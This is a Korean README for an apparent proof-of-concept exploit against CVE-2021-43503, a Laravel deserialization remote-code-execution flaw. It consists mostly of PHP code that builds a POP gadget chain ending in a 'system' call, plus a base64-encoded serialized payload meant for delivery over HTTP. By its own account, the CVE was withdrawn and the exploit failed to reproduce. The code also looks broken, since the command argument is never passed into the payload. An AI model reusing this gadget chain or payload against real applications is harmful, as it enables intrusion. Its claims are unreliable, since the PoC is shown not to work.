
CVE-2021-43503에 대한 개념 증명 익스플로잇으로, Laravel 역직렬화 RCE 취약점입니다. PHP POP 체인 생성과 테스트용 HTTP 기반 페이로드 전달을 포함합니다.
경고 이 취약점은 철회되었습니다.
이것은 CVE-2021-43503에 대한 내용입니다. exp를 통해서는 이 취약점을 재현할 수 없었습니다.
서비스 시작
composer install
cp .env.example .env
php artisan key:generate
php artisan serve # it will listening 8000 port in localhost
POP 체인 인코딩
<?php
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registrar;
protected $name;
protected $controller;
protected $options = [];
protected $registered = false;
public function __construct($b){
$this->registrar=$b;
}
}
}
namespace Illuminate\Queue\Capsule{
class Manager{
protected $manager;
public function __construct($c)
{
$this->manager->method=$c;
}
}
}
namespace Mockery{
class ClosureWrapper{
private $closure;
public function __construct(){
$this->closure="system";
}
}
}
namespace{
use Illuminate\Queue\Capsule\Manager;
use Illuminate\Routing\PendingResourceRegistration;
use Mockery\ClosureWrapper;
$c=new ClosureWrapper("mkdir hello");
$b=new Manager($c);
$a=new PendingResourceRegistration($b);
echo base64_encode(serialize($a));
}
참고
urlencode(serialize($a))를base64_encode(serialize($a))로 대체했습니다.그리고 RCE의 성공적인 실행을 반영하기 위해
dir을mkdir hello로 대체했습니다.
아래와 같이 출력됩니다(경고 무시):
Tzo0NjoiSWxsdW1pbmF0ZVxSb3V0aW5nXFBlbmRpbmdSZXNvdXJjZVJlZ2lzdHJhdGlvbiI6NTp7czoxMjoiACoAcmVnaXN0cmFyIjtPOjMyOiJJbGx1bWluYXRlXFF1ZXVlXENhcHN1bGVcTWFuYWdlciI6MTp7czoxMDoiACoAbWFuYWdlciI7Tzo4OiJzdGRDbGFzcyI6MTp7czo2OiJtZXRob2QiO086MjI6Ik1vY2tlcnlcQ2xvc3VyZVdyYXBwZXIiOjE6e3M6MzE6IgBNb2NrZXJ5XENsb3N1cmVXcmFwcGVyAGNsb3N1cmUiO3M6Njoic3lzdGVtIjt9fX1zOjc6IgAqAG5hbWUiO047czoxMzoiACoAY29udHJvbGxlciI7TjtzOjEwOiIAKgBvcHRpb25zIjthOjA6e31zOjEzOiIAKgByZWdpc3RlcmVkIjtiOjA7fQ==
HTTP GET으로 테스트:

public/ 안에 hello/를 성공적으로 생성하지 못했습니다.